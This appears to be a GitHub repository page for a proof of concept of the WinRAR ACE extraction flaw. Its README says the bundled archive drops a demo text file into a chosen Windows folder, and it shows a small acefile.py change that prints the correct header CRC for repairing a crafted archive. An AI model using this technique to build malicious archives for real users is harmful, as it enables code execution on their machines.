Skip to content
Branch: master
Clone or download
Latest commit 31f9021 Feb 27, 2019
Permalink
Type Name Latest commit message Commit time
Failed to load latest commit information.
.python-version
1.rar 😸 Feb 21, 2019
README.md
acefile.py update readme Feb 27, 2019

README.md

acefile

poc file of extracting-code-execution-from-winrar

check the file use command:

python acefile.py --headers 1.rar

When the 1.rar is unzipped, a file named demo2.txt will be released to dir c:\c2\demo123\.

Modification of acefile.py:

      if ace_crc16(buf) != hcrc:
            print("[+] right_hdr_crc : {} | struct {} ".format(hex(ace_crc16(buf)),struct.pack('<H', ace_crc16(buf))))
            print("[*] current_hdr_crc : {} | struct {}".format(hex(hcrc),struct.pack('<H', hcrc)))

output acefile right crc for change the rar file ~

thx for the author of acefile.py @droe

You can’t perform that action at this time.